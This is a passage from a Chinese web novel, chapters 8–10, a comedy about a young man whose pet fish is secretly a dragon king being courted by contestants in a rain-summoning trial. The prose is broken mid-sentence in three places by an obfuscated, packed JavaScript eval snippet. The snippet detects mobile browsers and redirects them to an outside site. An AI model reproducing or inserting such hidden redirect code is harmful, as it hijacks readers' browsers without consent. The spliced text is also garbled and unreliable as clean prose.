“谢谢啊。”陈丰明身上哪哪都疼,他也没客气,半个身子压在陶清观身上,把陶清观挤得往旁边踉跄了一步。 他歪着身体,准备往前走,余光瞥见鱼缸内的宴氿探出半个身子,漆黑的眼眸一瞬不瞬地望着自。 陈丰明一秒站正,腰也不酸了,腿也不痛了,身体倍棒。 “小事,不疼,用不着扶。” 昨夜刚收到消息,龙王选人还看中身体素质,他早上定了十几个闹钟,逼着自己爬起来跑操,可不能现在给龙王留下,自己身体素质不行的印象。 不就是摔两下,他不疼。 陶清观望着陈丰明一瘸一拐地往沙发走,步子都打飘了,他迟疑着,最终还是没有开口。 小事,小小的去世? 陈丰明自认为若无其事地走到沙发前,坐下地那一刻,他整个人松了口气,又有力气和陶清观说话了,“小观啊,你怎么把被子铺这来了?” 陶清观:“这屋就大堂里有空调,没办法。” “哎哟,你爷爷可真是的,回头我帮你说说他。”陈丰明接着和陶清观套近乎,他眼珠子转悠,忍不住偷看鱼缸内的宴氿。 陈丰明的小动作,陶清观看得一清二楚,他跟着回了下头,瞅见小白浮在那,似乎也在看他们这边。 陶清观心下有些茫然,难道说陈丰明费老大功夫进来,就是为了看小白? “那……先谢谢陈叔叔了。”陶清观感觉自己站在这有些突兀,迈步走到单人沙发旁坐下,他见陈丰明过分在意小白,索性直接开口,“你也觉得小白长得很好看吧。” “小白!?” 陈丰明的嗓音惊恐到破音,他眼珠子瞪圆,慌里慌张地稳住忐忑的心,努力放平语气,“你、你是说鱼缸里的那位吗?” 陶清观被陈丰明吓了一跳,他啊了一声,不确定地问道:“你刚刚不是在看它吗?” “不是……是、是吧。”陈丰明磕磕绊绊地开口。 他抹了把头上的虚汗,干笑两声,“确实长得风流倜傥,威武神气,英俊不凡,绝世无双,惊为天人,罕见、罕见啊。” 陶清观勾唇‘邪魅’一笑。 说相声么,有点意思。 8. 第 8 章 能从一张张鱼脸上找到这么多形容词,陈丰明也是个人才,他确定了,对方是冲着小白来的。 陶清观用余光打量小白一周,没看出来有什么特别的地方。 说实话,他到现在都没弄清楚小白是什么品种,浏览器搜不到,拍照识图也出不来,唯一和小白长得比较相像的是斗鱼,但斗鱼没小白这个色,身子也比小白短上不少。 找不到品种,自然无法得知小白值多少钱,只能大概确定小白不太便宜。 不过陈丰明似乎知道点什么。 陶清观承认自己有那么点好奇,他往陈丰明旁边凑了些,旁敲侧击道:“叔,你知道这鱼,是我爷爷从哪买的吗?” 陈丰明身子一僵,哪买的……把他卖了他也不敢说买字啊。 他在心底捏了把汗,陶笠鹤是和他们说过,陶清观啥也不知道,但他没想到陶笠鹤忽悠人的借口都没编全,还要他来填坑。 陈丰明咽了口唾沫,“不是买的,你爷爷和它有缘,意外遇到的。” 陶清观狐疑地看了陈丰明一眼,这还能是有缘?难不成爷爷跟他一样,从屋旁的小溪里捞到了小白。 那小白的思想觉悟还挺高的,都会给自己碰瓷混饭吃了。 陶清观越想越觉得不对劲,他注意到陈丰明和自己谈话时,偷偷看了小白好几次,他突然福至心灵,陈丰明可能是想买小白。 有缘=白嫖=免费 完美的等式,简直是砍价的最高境界。 陶清观看陈丰明的目光中带上谴责,这叔长得心宽体胖的,心眼子也忒多了。 他怕错怪人,又隐晦地问上一句,“叔,你也想养小白?” 陈丰明当然想养,但他没那个胆子,能在龙王面前混个眼熟,就谢天谢地了,他只求下次祈雨的时候,龙王能收收神通,让他唤下雨来,哪怕是毛毛雨也行。 他清楚自己天赋虽然算是上乘,但此处群英荟萃,他那点天赋根本不够看,只能走这些旁门左道,若是龙王愿意跟他走,他举双手双脚赞成。 陈丰明清了下嗓子,含蓄地开口,“有机会的话,那当然是想的。” “你放心,叔家里够大,保管需要的东西样样俱全,就算没有,叔也肯定能买来……”陈丰明侃侃而谈,越说越兴奋,好像真能带走龙王似的。 陶清观听陈丰明说了一大堆,就是不提价钱,他目光幽幽地望着对方。 想让他白送? 不可能,绝对不可能,想都别想,没门。 陶清观义正言辞地拒绝:“恐怕不太行,我爷爷很宝贝这条鱼,要是知道我把鱼送人了,他回来肯定要找我算账。” 陈丰明闻言,露出遗憾地表情,他没强求,说道:“也是,看来我们没有缘分了。” 陶清观语重心长地开口,“陈叔叔。” 突然被戳,陈丰明虎躯一震,“咋了?” 陶清观摇摇头,循循善诱地说道:“有时候这种靠缘分的东西才是最贵的,多是有价无市,想买也买不到。” 陈丰明深有同感,如果能花钱买契约者的位置,他又何苦跑来这边受一个多月的罪,“唉,叔知道。” 陶清观闻言,眉间上挑,陈丰明居然意外的上道,婉拒了对方想白嫖的心思,陶清观觉得自己可以送客了,他刚想开口,就听见陈丰明接着道。 “如果能买,我花个千八百万,十来个亿的都行,可惜啊。” “是……啊!?” 等等,你说多少?多少!? 陶清观懵了一下,贫穷的脑子处理不过来这么大的数字,十亿后边得有多少个零来着。 “我知道你爷爷肯定不会同意,不为难你了。”陈丰明站起身,拍了拍陶清观的肩膀,“叔先走了,你是个好孩子,以后遇到事了尽管来找我。” 陶清观到嘴边的话被憋得说不出口,心底的小人在呐喊,不为难,多为难他一下啊!不要有缘,只要有元! 他嗖一下站起来,跟上陈丰明,企图挽救快飞走的RMB,忽然门铃声响起,陶清观脚步一顿。 陈丰明目光转悠,转而带上看好戏的眼神,他就知道那群人嘴上说,担心龙王不适应,给龙王送点东西,实际上跟他一样,都是想来龙王面前刷存在感。 他心底冷哼一声,骄傲地挺起自己的大肚子,一群虚伪的人类。 陈丰明大步走向门口,嘴上说着,“小观,你跟谁约了今天见面吗?” 陶清观眨了眨眼,老实回答道:“没有。” 陈丰明昂起下巴,伸手握住门把,“我帮你看看是谁来了,你年纪小,容易被骗,那些人还不知道心底在打什么鬼主意。” “我……” 陶清观根本没有说不的机会,陈丰明在他说出第一个字的时候,就走上前把门打开了。 他只好默默把话咽回去,心底留下两行宽泪,被迫终止卖鱼的话题。 陶清观怀着把外面的人送走,接着卖鱼的希望,三两步走到陈丰明身旁,发觉陈丰明身体忽然僵住,像是看到什么恐怖的东西,陶清观愣了一下,抬眸望向门口。 只见一位身姿优雅的老人站在院门外,她衣着朴素,发丝花白,去掩盖不了她出众的气质,单是静静的站着,就叫人移不开目光。 老人看见陶清观,微微颔首示意,再看向陈丰明时,她的目光明显变得犀利许多,语气也有些不客气,“还不走吗?” 陈丰明身子抖了两抖,他立即站正,陪笑着回答:“走,这就走。” 他心底凄凄惨惨戚戚,大意了,聊过头,忘记看时间了,被审核官抓到,他肯定没好果子吃。 陈丰明欲哭无泪,扯出一个比哭还难看的笑容,对陶清观说道:“我先走了,打扰了。” “没事。” 陶清观偷瞄了一眼门口的老人,虽然不知道对方和陈丰明是什么关系,但陈丰明好像很怕对方。 他的卖鱼大业看来是中道崩殂了。 陶清观心在滴血,送陈丰明离开时,他就差热泪盈眶,拉着对方的手,求着对方下次再来。 别说十亿,一亿他就把这鱼买了,管它是不是爷爷的心头好,就是天王老子的心头好都阻止不了他。 陶清观情绪失落地转过身,往大门走,他没看到的是,身后的老人在他背过身的那一刻,弯腰鞠了一躬,她神情虔诚,宛如最忠诚的信徒。 鱼缸内的宴氿感觉到空气中灵的波动,知道对方是在向自己问好,它不甚在意地给了点回应。 它大致猜到来人是审核官之一,这场考核除了主审官,还安排了八位审核官,都是久负盛名的天才,杜绝了绝大多数人作弊的可能。 至于为什么说是绝大多数…… 宴氿的视线在埋头发消息的陶清观身上走了一个来回,现在他面前可就有个作弊成功的例子,还是个不开窍的家伙。 但再蠢的人都能看出陈丰明对它的态度不同寻常,小孩用点脑子就能猜到它真实的身份了。 宴氿晃了下尾巴,心底无奈,他就是不想和陈丰明这类的人打交道,才选择这副形态,若是小孩之后要讨好它,拒绝起来实在麻烦。 不过看在小孩长得好看的份上,它勉强能多点耐心。 陶清观没注意到宴氿的目光,他这会儿在全神贯注地给自家爷爷发消息。 天天在网上跟风发错亿,这下好了,真错亿了。 他下次要发,得亿得亿。 陶清观安抚着自己受伤的小心脏,把陈丰明跑来卖鱼的事跟陶笠鹤吐槽了一遍,主要是吐槽陈丰明价格报得太晚,要是早上那么一点,他不就卖了么。 不多时,陶笠鹤回来消息。 陶清观没有防备,像往常一样点开语音,震如雷霆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278591|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大嗓门响彻大堂。 “臭小子,敢卖那条鱼,老子回来给你腿打断!” 鼓膜震得发麻,陶清观把手机拿远了一点,不理解陶笠鹤为什么会这么暴躁,不买就不买,咋还威胁上人了,他撇撇嘴,回了个哦。 老爷子真是老当益壮,越活越年轻,都活回更年期了。 但陶笠鹤都这么说了,陶清观只好歇了卖鱼的心思,他熄灭手机屏幕,长叹一口气。 曾经有一份泼天的富贵摆在他面前,但他没有珍惜,若是再给他一次机会,他一定好好珍惜,对它说两个字。* 给我! 陶清观收起手机,一抬头对上小白的视线,他丝毫没有搞小动作被正主看到的心虚感,理不直气也壮地走到小白面前,开口道:“白啊,没想到你这么值钱,是爸爸没眼光,有眼不识泰山。” 听完全过程的宴氿:“……” 呵,不仅没眼光,还蠢,那点钱哪够买它。 它摆尾转身,不管陶清观说什么都没反应,留给对方一个高傲的背影。 陶清观不介意,看小白的眼神要多慈祥有多慈祥,这脊背,这尾巴,啧啧啧,他之前怎么没看出小白如此不同凡响,谁说陈丰明说的相声不好,他说得可太好了。 简直是风流倜傥,威武神奇……后面什么来着? 陶清观又叹一声,心底的郁闷无处发泄,他决定对小白好一点,抬脚走到放粮的地方,给小白又挖出一份粮。 但倒粮前他迟疑了,有小黑这个把自己撑死的大聪明在,陶清观很怕小白步小黑的后尘,他想了想还是没把粮倒进去,把小白喂死可就得不偿失了。 不过鱼粮是好几种混在一起的,他现在显然没办法把它们分开放回去。 陶清观一手抵着下巴,看着手中的鱼粮,颗粒饱满,颜色丰富,种类多样,还有一股淡淡的清香,小白这么贵的鱼,吃得肯定也不便宜。 不能浪费。 他成功说服自己,伸出了罪恶的小手,薅上一点放进嘴里,甜咸甜咸的,越嚼越香,有点像在吃炒米,但口感要比炒米丰富不少。 嗯……再来一口。 陶清观嚼得嘎嘣脆,注意到小白回头望自己,他故意晃了晃手里的粮,欠欠开口道:“想吃?不给你,乖,小鱼一天只能吃一顿。” 宴氿看看鱼粮,又看看陶清观,鱼脸上露出复杂的表情。 算了,不跟傻子计较。 陶清观坐在沙发上,嚼嚼嚼嚼嚼,突然他感觉放在身旁的手机震了一下,以为还是爷爷跟催命符似的念叨,陶清观没管。 可手机响个不停,他瞥了眼,发现是语音电话,陶清观看着屏幕上熟悉的名字,嘁了一声,抬手摁下接通和免提键。 “陆满满,你要不要这么执着,你非得拉上我,把你那破考研补习班上回本吗?” 电话那头的陆满满哼了一声,开口道:“三千多块钱呢,不能浪费,我给你的书看多少了?” 陶清观本想说一本没看,但想起自己今天刚看完一本,他含糊地说道:“没怎么看。” 当了这么多年朋友,陆满满还能不了解陶清观,知道对方八成没看,他发出两声冷笑,可笑着笑着,陆满满没由来的感觉浑身不得劲,他声音少了打趣的意味,沉声道: “你到底在想什么,要是你不请假,副主任医师的位置肯定是你的,我听说上次高级证书你也没去考,你不是为了那次考试准备了好久,怎么说不去就不去?” “别拿身体不好忽悠我,你要是想考,爬也爬过去考了。” 陶清观面上的笑意收敛,他垂下眼眸,鸦黑色的睫羽在眼睑处打下一圈阴影,他纤长的手指拨弄着勺子里鱼粮,轻轻笑了一声,漫不经心地回答。 “干嘛,还不允许我摆烂,主任又没什么好当的,你看我们科里的主任,有几个不秃头?” 9. 第 9 章 “你别给我岔开话题。”陆满满戳破陶清观的小心思,清楚要是陶清观真不想说,自己八成问不出来,他心底一阵憋屈。 陆满满深吸一口气,告诉自己陶清观现在算伤员,可能心理和脑袋都有点问题,他要耐心,耐心! “算了,考试时间都过了,也没补考,要考也得等明年,趁着你现在有空,真不打算跟我一起考公试试?” “不要。”陶清观不假思索地否决,他抛了两粒鱼粮进嘴里,边嚼边说:“刚出虎穴,我干嘛再往狼坑里跑,吃力不讨好的。” 陆满满听到陶清观那边咔擦咔擦响,他眉毛挤到一块,“你吃啥呢?” 陶清观低头看了眼鱼粮,给自己留了点面子,“炒米。” “听你吃的怪香的,给我寄点回来。”发现自己劝不动,陆满满摆烂了,“你那还有什么特产,通通给我来一份。” 不愧是你,哈吉满,鱼粮也要抢么。 陶清观摸了摸下巴,望向盯着自己看了半天的小白,不存在的良心有那么点痛,“不给,你不当家,不知柴米油盐贵,这点炒米可是我好不容易省出来的,没你的份。” “我靠,陶清观你扣成这样?你不许吃了,把你手上剩下的炒米都给我。” 陶清观闻言,仰头把勺子里的鱼粮一干而净,他嚼吧嚼吧,含糊不清地说道:“末由了。” 陆满满本来是在开玩笑,这会儿是和陶清观较上劲了,“你是回去投胎做饿死鬼吗,吐出来!” 陶清观哼哼,“不要。” 两人跟小学生斗嘴似的,围观的宴氿露出一言难尽的表情,它的食物中含灵粮丰富,小孩慢慢吃还好,这一口吞下去…… 陶清观突然感觉鼻子有点酸,他吸了下鼻子,一滴晶莹的液体从他眼前坠落,在他的大花裤衩上留下水痕,陶清观一愣,随即水渍越来越多,布料上被浸湿了一大块。 他下意识去摸自己的脸,蹭了一手泪水,陶清观人懵了。 咋……咋了? 电话那边的陆满满还在叨叨,“不给我带,回来你就完犊子了。” “小趴菜,我还怕你不成。”陶清观想说得霸气点,但他的鼻音很重,尾音还有些颤抖,听着委屈巴巴的。 陆满满静了一秒,随即嚷嚷着,“不是吧,你还哭了,我开玩笑的!哎哟,行行行,不带就不带,我回来请你吃好吃的,祖宗。” 陶清观又吸了下鼻子,“没哭。” “嗯嗯嗯,你说啥是啥,你好好玩,这破班谁爱上谁上。” 陶清观百口莫辩,眼泪还一个劲地往下流,感觉鼻涕都要跟着一起下去了,他抽了张纸擤了下鼻子,哑着嗓子点菜,“我要吃膳宁斋的。” 膳宁斋,他们那边最贵的饭馆,两个人吃没个大几百收不住。 “嗯好,不打扰你了。” 陆满满大概是怕了,火速挂断电话。 陶清观淡定地扔掉手上的纸团,又抽新的一张纸擦眼泪,可泪水跟决堤似的,根本止不住,他心累了,把纸往脸上一盖,cos尸体。 脸都丢完了,汤姆的,随便吧。 陶清观掉了快半个小时的眼泪,他第一次知道自己原来这么能哭,啧,男人也能是水做的。 他把脸上被浸湿的纸扔掉,眨了眨酸涩的眼睛,哭这么久,眼眶旁边一碰就疼,他明天要cos的角色,就决定是你了——悲伤青蛙。 陶清观用凉水洗了把脸,脸上火辣辣的感觉减轻不少,他踱步走到鱼粮跟前,蹙眉思索。 这鱼粮里怕不是加了催泪瓦斯,效果恐怖如斯,小白能吃这么久,真是个勇士,鱼的口味和人差距居然如此之大。 挺好的,他以后不用担心小白缺水了,喂把鱼粮,小白自己能哭出太平洋, 陶清观心有余悸,快步远离鱼粮,长得人畜无害的,效果也太歹毒了。 哭了半小时,陶清观觉得浑身不得劲,他看了眼时间,感觉也差不多了,拿上换洗衣服去于是冲澡。 天气一如既往的炎热,要不是顾忌到自己现在菜鸡的体质,陶清观都想用凉水洗澡了。 他换上干净的衣服,头发也没擦,大步往空调下走,往出风口下一站,陶清观闭上眼,等待着期待已久的凉意。 一秒、两秒…… 好几秒过去了,陶清观察觉到不对劲,他睁开眼,上下打量面前的空调,外表一切正常,但显示屏漆黑一片,呼呼的运行声这会儿也停下了。 陶清观按了下开关键,空调没反应,他不信邪,把空调前前后后检查了一遍,又去看其他电器,最终认清一个现实—— 空调坏了! 陶清观的嘴角当即就垮了下来,他拍了拍空调的外壳,痛心疾首地说道:“我同意你请假了么,你竟然敢翘班。” 空调:…… 九天九夜不眠不休的运行,空调不堪重负,卒。 陶清观试图修理空调,工具都找来了,犹犹豫豫,还是没敢拆,他怕拆了后,装不回去,把空调整成空调碎片。 他拿着扳手,用上人类最原始的修理技能,框框敲了几下空调的脑袋,然后在摁开关键。 不出意外,还是没反应。 陶清观蹲那捣鼓了半天,随着时间的流逝,大堂内的冷气也渐渐散了,陶清观感觉自己的后背汗湿了一大片。 澡算是白洗了。 陶清观认命地放下扳手,一屁股坐在冰凉的瓷砖上,生无可恋地长叹一口气。 修空调的师傅要明天才能过来,今晚他只能在炎炎高温中,独自苟着了。 陶清观摆着个小猫批脸,幽幽望向鱼缸里的小白,鱼缸的温度调节功能没坏,想到自己如此难熬,小白还在享受,陶清观心底极度不平衡。 他噌噌走到鱼缸前,趴在冰凉的玻璃上盯着小白看,“白啊,跟你打个商量,今晚我们换个地住,你睡我的床,我睡你的窝。” 宴氿:“……” 瞧给孩子热的,都说胡话了。 陶清观没指望小白能回答,他贴着玻璃,撞了两下脑袋,哀嚎一声,“好热啊,这破天气能不能下场雨。” 橙色高温预警都预警了快半个月了,降温遥遥无期,唉,感觉脖子痒痒的,可能是缺根绳子吊着荡秋千吧。 宴氿扫过青年,对方眼尾殷红,脸上也挂着两坨红晕,大概是热极了,光着的上半身紧贴在鱼缸上,企图汲取凉意。 它的视线在陶清观身上晃悠一圈,又收回来,整条鱼向下沉去,躲到陶清观看不见的角落。 按照它这些天和陶清观相处的经验,今晚它多半也没好觉睡了。 是夜。 陶清观趁着凉气没完全散干净,早早躺下。 他在地铺上滚来滚去,焐热了一块地,接着换一块,但他焐的速度太快,最后一块阴凉地焐热后,第一块还没凉下来,陶清观睁眼望着房顶,眼底一点睡意都没有。 好烦哦。 这时外边一二一的口号声又响起来,整齐的步伐,响亮的呐喊声,为燥热的夜晚添上一分热血沸腾。 陶清观:“……”更烦了。 睡不着,他索性爬了起来,走到窗边围观外边的人夜跑。 队伍最后面的人,陶清观看着十分眼熟,这富态的身材,赫然是今天来找过他的陈丰明,此刻陈丰明步伐沉重,一步一喘,陶清观眼尖地发现,对方胳膊上和小腿上都绑着沙袋。 看不出来啊,胖大叔原来对自己要求这么高。 陶清观思绪发散,抬手将发烫的掌心贴在玻璃上,但手下的这点凉度宛如饮鸩止渴,身上黏腻的感觉,让陶清观最后一丝睡觉的想法也消失殆尽。 他踱步走到鱼缸边,姿态随意地靠在玻璃上,陶清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278592|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观掀开盖子,把手伸了进去,鱼缸里的水是恒温,泡在水中顿时凉快了不少。 陶清观第N次升起把小白捞出来,自己睡鱼缸的冲动,若不是鱼缸躺他这个人有点困难,他早就行动了。 “小白,别睡了,起来跟我玩。” 陶清观推了下礁石,躲在下边的小白被迫游上来。 宴氿无奈,它就知道,这小鬼睡不着肯定会来骚扰它,屋外的口号声渐行渐远,本来是他们中一员的青年懒懒散散地站在那。 它听到了陶清观和朋友的聊天,身体不好么,倒是情有可原,但如此糟糕的表现,它别说睁一只眼,闭一只眼,就是两个眼睛都瞎了,也不可能选择陶清观当契约者。 真不知道陶笠鹤费这么大功夫做什么。 陶清观百般无赖地拨弄着飘舞的水草,见小白游过来,他眉眼微弯,盛着一汪清泉,嘴角扬起一抹弧度,“晚上好。” 大概是高温带走了陶清观说话的兴趣,他垂着眼眸,静静地望着小白,褪去平日里吊儿郎当的姿态,身姿修长的青年神色恬静,如一副岁月静好的画卷。 宴氿被陶清观的笑容晃了下眼,陶清观之前的行为举止太过不着调,它都忽略了对方其实长了张丰神俊秀的脸。 骨节分明的手指划过身侧,宴氿没有躲开青年的触碰,黑暗并不会影响它的视力,青年眼下的倦意清晰可见,单薄的身材一览无余。 太瘦了,饭也不按时按点吃,不知道陶笠鹤怎么养的小孩,身体不好还让人来这。 其他参赛者的年龄都快有陶清观两倍,这么一看,小孩还怪可怜的,拗不过自家长辈,无论想不想,只能参赛。 反正最后的契约者不会是陶清观,看在陶笠鹤的面子上,它照拂几分也没什么。 一二一的口号声,不知什么时候停下,蝉鸣与蛙声交融,打破了这一方静谧,群星闪烁的夜幕被乌云占据,空气中酝酿出湿气,下一秒,啪嗒声在水泥路上作响,土腥味蔓延开来。 下雨了。 陶清观听到雨声,不敢置信地小跑到窗边,他打开窗,凉风夹杂着雨水吹进来,深吸一口气,肺部的燥意一扫而空。 他伸出手去接窗外的雨,面上的笑容越发明艳。 宴氿看着陶清观开心的背影,眼底有丝丝笑意晕染开来。 考核只是改变天气,让它唤来的雨天停下,怎么不算是考核的一种。 陶清观也不嫌弃雨水打进家里,他靠在窗边,看着天气预报上完全没出现的雨,感慨一声,“这雨天娃娃居然有用。” 雨天……娃娃? 宴氿愣了一瞬,它抬眸望去,发现窗户旁边不知何时挂了个倒着的破布偶,布偶浑身上下透露着草率,简陋的五官正对着它,好似在无声的嘲笑。 宴氿:“……” 陶清观颇为爱惜地抚摸着晴天娃娃倒立版,不枉他花了五分钟用抹布和抽纸扎出来,立大功了,明晚给自己加鸡腿。 他打了个哈欠,眼角溢出泪花,感觉困意涌上来,陶清观将窗户关小了一点,转身回到地铺上,啪叽倒下。 在宴氿的死亡凝视下,陶清观安详入睡。 不多时,陶清观的呼吸声变得平缓。 藏在二楼房间里的手机叮咚一声,以宴氿的耳力听得一清二楚。 宴氿面无表情地从鱼缸里出来,大步迈向二楼,用钥匙打开了房间的门,他拿出手机,不出预料看到陶笠鹤发来的消息。 他突然改变天气,作为主审官的陶笠鹤肯定要来问上一句。 宴氿将早就想好的理由发过去,陶笠鹤那边也是秒回: 能问一下,您为什么突然想改变考核的方式吗?是让雨停下,更能考验参赛者的综合素质吗? 宴氿:不,是给雨天娃娃当代打。 陶笠鹤:“?” 宴氿:) 10. 第 10 章 回完陶笠鹤的消息后,宴氿踱步回到客厅,一片黑暗中,他精准地锁定了呼呼大睡的某人。 陶清观大概是觉得热,把空调被踹到了脚下,平坦的小腹就这么暴露在空气中。 宴氿看到陶清观,就想到那个破布娃娃,心底一阵不爽,他无视陶清观,准备回鱼缸里,忽然他注意桌上的糕点,脚步一顿。 这些天陶清观下厨的次数不少,每次对方端上桌的菜瞧着都鲜美诱人,虽然他没尝过,但应该很好吃。 他记得陶清观今天刚做了卤菜,可乐鸡翅,还有鸡蛋布丁。 宴氿眯起眼眸,小孩可没少仗着他吃不到,拿食物馋他,来都来了,不能亏待自己。 他心安理得地端过桌上的糕点,顺手再将冰箱打开,拿出里面的鸡蛋布丁和卤菜,因为他懒得热菜,所以可乐鸡翅逃过一劫。 宴氿挖了一勺布丁,奶香味在味蕾绽放,口感绵密丝滑,再尝一口卤菜,也是咸香软烂,宴氿不自觉加快手中的动作。 最后的结果就是,冰箱里不用热的菜都空了,并且宴氿还有些意犹未尽。 宴氿不疾不徐地拿着纸擦嘴,思索着要不要再热点菜,但考虑到微波炉运行的声音大概会把陶清观吵醒,他遗憾地放弃了这一想法。 他把用过的纸巾揉成一团,随手抛进垃圾桶里,吃饱喝足,该回去睡觉了。 宴氿迈开长腿,路过陶清观时,他放慢脚步,眸光掠过陶清观纤瘦的身体,他轻啧一声,弯腰拉过一旁的空调被,帮陶清观严严实实地盖上。 看着裹成蚕蛹的陶清观,宴氿满意地收手,接着往前走,没走两步,他听见背后有窸窸窣窣的声音响起,一回头,发现陶清观又把被子蹬了。 宴氿皱眉,拉过被子再给陶清观盖上。 陶清观蹬。 宴氿盖。 陶清观又双叒叕蹬。 宴氿:“……” 要不是小孩呼吸频率没变,他都要怀疑对方是在故意耍他了。 宴氿拿着被子,站在陶清观床头,他沉着脸,垂首盯着陶清观,看架势不像要给陶清观盖被子,更像是要把陶清观捂死。 哼,不跟小孩计较。 宴氿抖开被子,拎着被子一角,俯身盖住陶清观的……肚脐眼,然后静静地站在那。 一秒、两秒—— 陶清观没再踹被子,估计是只盖一个肚子,没觉着热。 宴氿自己都没发现自己松了口气,他蹲下身子,没好气地戳了下陶清观的脸蛋,在心底骂道,小事儿精。 …… 第二天陶清观起床时,雨还在下,风刮得树叶哗哗作响,地面溅起一阵雨雾,叫人看不清远处的景物。 他坐起身,被子从身上滑落,陶清观瞥了一眼,有些诧异,昨晚他居然没蹬被子。 陶清观没多想,很快就将这件事抛之脑后。 莫约到十点半时,修空调的师傅骑着小电驴上门,陶清观开门时,十分意外,他还以为对方今天不会来了。 师傅在玄关把手里的工具箱放下,脱掉雨衣再走进屋内,陶清观适时递上一块干净的毛巾。 “谢谢哦,小伙子。”师傅接过毛巾抹了一把脸,他咧嘴一笑,露出白花花的牙齿。 师傅也不含糊,把雨水擦干后,立即开始干活,他利落地拆掉空调外壳,拿着手上的工具一处一处检查。 找到烧坏的地方,他换了个工具拆卸,边拆,师傅边偷瞄旁边的陶清观。 他也是雨师后人,知晓些比赛的内幕,上头很重视这次比赛的,除却陶清观这个有上级担保的,普通人根本进不来比赛场地。 师傅扫了眼陶清观浅淡的唇色,心底暗自叹气,果然和他听说的一样,陶局的小孙子身体不太好,这次来就是想借着龙王周身萦绕的灵养养身子。 可惜了,爸爸,爷爷都是天才,自己却是个没天赋的。 师傅看陶清观的眼神,不由带上些惋惜,忍不住关切几句,“小伙子你是刚回这边吧,怎么样,住得还习惯吗?” 陶清观正玩手机呢,突然被点,他愣了一下,“嗯……还行。” 他心底无奈,怎么每个来的人都要问一两句,他好不好。 师傅说了一两句,话匣子也打开了,“这边风水好,养人,待久了对身体也有好处。” 陶清观:“嗯嗯。” “老祖宗留下的东西肯定是有说法的,这里现在就是块风水宝地,尤其是你待的这更是宝地的核心……” 陶清观:“哦哦。” 师傅也不嫌弃陶清观的回应冷淡,一个人侃侃而谈,唾沫横飞,“……说起来,我还见过你三四岁的时候,你爷爷我也认识,他可把你当块宝了……” 陶清观放在腿上的手紧了又松,松了又紧,脸上就差带上痛苦面具。 师傅,师傅!别念了。 陶清观见空调师傅完全没有收手,给他留一条活路的意思,只好拿出绝招。 “师傅,你干什么工作的?” 空调师傅宛如基础代码运行错误,整个人瞬间卡壳,目光在陶清观脸上看了又看,张了几次嘴都没说出话来。 陶清观顿时一身轻松。 空调师傅修好空调,临走前,还看了陶清观好几眼,像是在思考着年轻小伙子脑袋是不是有点问题。 陶清观才不管师傅是怎么想的,微笑着送客。 师傅踏出大门,想想还是回头又说了一句,“万物有灵,这贴近自然,好好养身体。” 陶清观:“嗯。” 目送师傅离开,陶清观反手将门关上,他无声喃喃着,万物有灵。 有点耳熟,但他忘记了在哪看过,陶清观想了会儿,没想起来,也没为难自己,想不起来就证明是不重要的事。 陶清观舒展了下身体,抬脚向冰箱走去。 昨天做的菜剩了好多,今天热热就能吃,还有鸡蛋布丁,他特地留了两个到今天。 陶清观哼着不知名的小曲,打开冰箱,瞳孔骤缩,他嘴角扬起,但仔细看能发现这抹弧度有些僵硬,陶清观啪地一声把冰箱门关上,嘴里碎碎念着。 起猛了,眼花了,饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278593|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜都看不见了。 他呼出一口气,握紧冰箱门,猛地打开,空荡荡的盘子静静躺在那,冰箱里犹如蝗虫过境,食物消失得一干二净,哦,也不干净,还给他剩了盘可乐鸡翅。 陶清观平复急促的呼吸,盯着仅剩地那盘菜,像是要把它盯出个花来。 汤姆的,哪个混蛋放着扣扣农场的菜不偷,跑来偷他冰箱里的! 陶清观咬牙切齿,眼底噌地冒出两团小火苗,偷菜贼,最好别让他抓到。 鱼缸里的宴氿调整了下睡姿,看着陶清观拿着扫帚跑上跑下,走到哪,哪里就叮铃哐啷一阵响,那模样与想和它决一死战的小黑十分相似。 它在心底摇头,小孩子啊,还是太急躁了,它靠着礁石,舒坦地打起盹,下雨天最适合睡觉了。 陶清观把家里翻了一遍,也没找到其他人的踪迹,倒是发现二楼的窗户没有关,但那扇窗户很小,一个体型正常的成年人根本翻不进来。 他冷静下来,仔细想想,家里值钱的东西都没丢,脑袋正常的人不可能为偷几盘菜费那么大功夫,小偷很可能不是人。 陶清观一手抵着下巴,目光投向窗户外边,翠绿的小山坡映入他的眼帘,他一琢磨,偷东西的贼不是——猴吧? 毕竟除了猴,其他动物应该没那个本事开冰箱。 话说这边的山里有猴吗? 他没见过,只在打水的路上见过几只松鼠,不过那边环境不错,有猴子好像也不是特别奇怪。 陶清观眉心紧皱,抬手将窗户关上,锁死,然后又将其他的窗户检查了一遍,确保每个窗户都锁上。 如果之后菜没有再丢,那小偷就是外边的动物没跑了。 